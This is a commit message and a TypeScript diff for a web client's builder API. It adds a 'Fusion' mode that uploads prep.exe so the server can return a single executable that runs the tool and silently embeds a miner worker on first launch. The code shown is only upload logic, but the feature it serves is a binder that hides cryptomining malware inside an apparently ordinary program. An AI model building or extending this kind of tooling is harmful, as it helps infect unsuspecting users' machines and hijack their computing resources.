Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.

server/web/src/api/client.ts

@@ -40,11 +40,27 @@ export const api = {
     }),
 
   // Builder
-  buildAgent: (req: BuildRequest) =>
-    fetchJSON<BuildResponse>('/builder/build', {
+  buildAgent: (req: BuildRequest, prepFile?: File | null) => {
+    if (req.fusion_enabled) {
+      if (!prepFile) {
+        return Promise.reject(new Error('Fusion requires prep.exe upload'));
+      }
+      const form = new FormData();
+      form.append('config', JSON.stringify(req));
+      form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
+      return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
+        if (!res.ok) {
+          const err = await res.text();
+          throw new Error(`API error ${res.status}: ${err}`);
+        }
+        return res.json() as Promise<BuildResponse>;
+      });
+    }
+    return fetchJSON<BuildResponse>('/builder/build', {
       method: 'POST',
       body: JSON.stringify(req),
-    }),
+    });
+  },
 
   downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,